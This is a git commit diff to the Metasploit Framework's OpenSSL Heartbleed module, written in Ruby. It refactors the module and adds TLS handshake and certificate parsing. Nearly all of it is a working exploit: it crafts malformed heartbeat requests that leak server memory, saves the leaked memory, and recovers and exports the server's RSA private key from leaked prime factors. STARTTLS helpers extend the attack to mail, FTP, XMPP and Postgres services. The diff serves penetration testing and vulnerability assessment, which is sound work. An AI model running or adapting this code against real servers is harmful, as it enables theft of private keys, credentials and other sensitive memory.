Land #3326, @FireFart's Heartbleed - server response parsing

unstable
jvazquez-r7 2014-06-10 13:27:28 -05:00
commit 4aa1fee398
1 changed files with 368 additions and 144 deletions

View File

@ -3,6 +3,12 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
# but there were too many errors
# TODO: Parse the rest of the server responses and return a hash with the data
# TODO: Extract the relevant functions and include them in the framework
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
@ -68,6 +74,12 @@ class Metasploit3 < Msf::Auxiliary
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(443),
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
@ -155,6 +167,15 @@ class Metasploit3 < Msf::Auxiliary
end
def peer
"#{rhost}:#{rport}"
end
#
# Main methods
#
# Called when using check
def check_host(ip)
@check_only = true
vprint_status "#{peer} - Checking for Heartbleed exposure"
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
end
end
# Main method
def run
if heartbeat_length > 65535 || heartbeat_length < 0
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
return
end
if response_timeout < 0
print_error("RESPONSE_TIMEOUT should be bigger than 0")
print_error('RESPONSE_TIMEOUT should be bigger than 0')
return
end
super
end
# Main method
def run_host(ip)
# initial connect to get public key and stuff
connect_result = establish_connect
disconnect
return if connect_result.nil?
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
end
# ensure all connections are closed
disconnect
end
#
# DATASTORE values
#
# If this is merely a check, set to the RFC-defined
# maximum padding length of 2^14. See:
# https://tools.ietf.org/html/rfc6520#section-4
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
if @check_only
SAFE_CHECK_MAX_RECORD_LENGTH
else
datastore["HEARTBEAT_LENGTH"]
datastore['HEARTBEAT_LENGTH']
end
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def tls_version
datastore['TLS_VERSION']
end
def dumpfilter
datastore['DUMPFILTER']
end
def max_keytries
datastore['MAX_KEYTRIES']
end
def xmpp_domain
datastore['XMPPDOMAIN']
end
def status_every
datastore['STATUS_EVERY']
end
def tls_callback
datastore['TLS_CALLBACK']
end
#
# TLS Callbacks
#
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once(-1, response_timeout)
get_data
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_imap
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_postgres
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
sock.get_once
get_data
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
# int16(5679) in network format
psql_sslrequest = [8].pack('N')
psql_sslrequest << [1234, 5679].pack('n*')
sock.put(psql_sslrequest)
res = sock.get_once
res = get_data
unless res && res =~ /S/
return nil
end
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
def tls_pop3
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("CAPA\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/ || res !~ /STLS/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/
return nil
end
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
end
def tls_jabber
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
sock.put(jabber_connect_msg(xmpp_domain))
res = sock.get(response_timeout)
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
disconnect
connect
establish_connect
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = sock.get(response_timeout)
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
res = sock.get(response_timeout)
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
return nil if res.nil?
if res !~ /^234/
# res contains the error message
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
res
end
def run_host(ip)
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys()
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
return
#
# Helper Methods
#
# Get data from the socket
# this ensures the requested length is read (if available)
def get_data(length = -1)
return sock.get_once(-1, response_timeout) if length == -1
to_receive = length
data = ''
while to_receive > 0
temp = sock.get_once(to_receive, response_timeout)
break if temp.nil?
data << temp
to_receive -= temp.length
end
data
end
def to_hex_string(data)
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
end
# establishes a connect and parses the server response
def establish_connect
connect
unless tls_callback == 'None'
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
res = self.send(TLS_CALLBACKS[tls_callback])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
end
server_resp_parsed = parse_ssl_record(server_hello)
if server_resp_parsed.nil?
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
server_resp_parsed
end
# Generates a heartbeat request
def heartbeat_request(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack('n') # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
# Generates, sends and receives a heartbeat message
def bleed
# This actually performs the heartbleed portion
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5, response_timeout)
if hdr.blank?
sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(5)
if hdr.nil? || hdr.empty?
vprint_error("#{peer} - No Heartbeat response...")
disconnect
return
end
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len, response_timeout)
res = get_data(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
else
msg = 'Unknown error'
end
vprint_error("#{peer} - #{msg}")
disconnect
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
disconnect
return
end
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
heartbeat_data = get_data(heartbeat_length)
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
disconnect
heartbeat_data
end
# Stores received data
def loot_and_report(heartbeat_data)
unless heartbeat_data
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
})
if action.name == 'DUMP' # Check mode, dump if requested.
pattern = datastore['DUMPFILTER']
pattern = dumpfilter
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
'openssl.heartbleed.server',
'application/octet-stream',
rhost,
match_data,
nil,
"OpenSSL Heartbleed server memory"
'OpenSSL Heartbleed server memory'
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
end
def getkeys()
unless datastore['TLS_CALLBACK'] == 'None'
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
return
end
#
# Keydumoing helper methods
#
# Tries to retreive the private key
def getkeys
print_status("#{peer} - Scanning for private keys")
count = 0
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - e: #{e}")
print_status("#{peer} - #{Time.now.getutc} - Starting.")
datastore['MAX_KEYTRIES'].times {
max_keytries.times {
# Loop up to MAX_KEYTRIES times, looking for keys
if count % datastore['STATUS_EVERY'] == 0
if count % status_every == 0
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
end
p, q = get_factors(bleed, n) # Try to find factors in mem
bleedresult = bleed
return unless bleedresult
p, q = get_factors(bleedresult, n) # Try to find factors in mem
unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
print_status(key.export)
path = store_loot(
"openssl.heartbleed.server",
"text/plain",
'openssl.heartbleed.server',
'text/plain',
rhost,
key.export,
nil,
"OpenSSL Heartbleed Private Key"
'OpenSSL Heartbleed Private Key'
)
print_status("#{peer} - Private key stored in #{path}")
return
end
count += 1
}
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
end
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def get_ne()
# Fetch rhost's cert, return public key values
connect(true, {"SSL" => true}) #Force SSL
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
disconnect
unless cert
# Returns the N and E params from the public server certificate
def get_ne
unless @cert
print_error("#{peer} - No certificate found")
return
end
return cert.public_key.params["n"], cert.public_key.params["e"]
return @cert.public_key.params['n'], @cert.public_key.params['e']
end
# Tries to find pieces of the private key in the provided data
def get_factors(data, n)
# Walk through data looking for factors of n
psize = n.num_bits / 8 / 2
@ -527,36 +615,7 @@ class Metasploit3 < Msf::Auxiliary
return nil, nil
end
def establish_connect
connect
unless datastore['TLS_CALLBACK'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
# Generates the private key from the P, Q and E values
def key_from_pqe(p, q, e)
# Returns an RSA Private Key from Factors
key = OpenSSL::PKey::RSA.new()
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
return key
end
#
# SSL/TLS packet methods
#
# Creates and returns a new SSL record with the provided data
def ssl_record(type, data)
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
record << data
end
# generates a CLIENT_HELLO ssl/tls packet
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
hello_data << [time_epoch].pack('N') # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack('n')
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack('n') # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
# Parse SSL header
def parse_ssl_record(data)
ssl_records = []
remaining_data = data
ssl_record_counter = 0
while remaining_data && remaining_data.length > 0
ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n')
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2]
vprint_debug("SSL record ##{ssl_record_counter}:")
vprint_debug("\tType: #{ssl_type}")
vprint_debug("\tVersion: 0x#{ssl_version}")
vprint_debug("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_debug("\tWrong Record Type! (#{ssl_type})")
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)
ssl_records << {
:type => ssl_type,
:version => ssl_version,
:length => ssl_len,
:data => handshakes
}
end
remaining_data = remaining_data[(ssl_len + 5)..-1]
end
ssl_records
end
# Parse Handshake data returned from servers
def parse_handshakes(data)
# Can contain multiple handshakes
remaining_data = data
handshakes = []
handshake_count = 0
while remaining_data && remaining_data.length > 0
hs_unpacked = remaining_data.unpack('CCn')
next if hs_unpacked.nil? or hs_unpacked.length < 3
hs_type = hs_unpacked[0]
hs_len_pad = hs_unpacked[1]
hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len]
handshake_count += 1
vprint_debug("\tHandshake ##{handshake_count}:")
vprint_debug("\t\tLength: #{hs_len}")
handshake_parsed = nil
case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE
vprint_debug("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
else
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
end
handshakes << {
:type => hs_type,
:len => hs_len,
:data => handshake_parsed
}
remaining_data = remaining_data[(hs_len + 4)..-1]
end
handshakes
end
# Parse Server Hello message
def parse_server_hello(data)
version = data.unpack('H4')[0]
vprint_debug("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0]
vprint_debug("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0]
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0]
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length)
# TODO: return hash with data
true
end
# Parse certificate data
def parse_certificate_data(data)
# get certificate data length
unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}")
# contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len
start = already_read
cert_counter += 1
# get single certificate length
single_cert_unpacked = data[start, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(start + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?
#vprint_debug("Got certificate: #{cert.to_text}")
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3
end
# TODO: return hash with data
true
end
end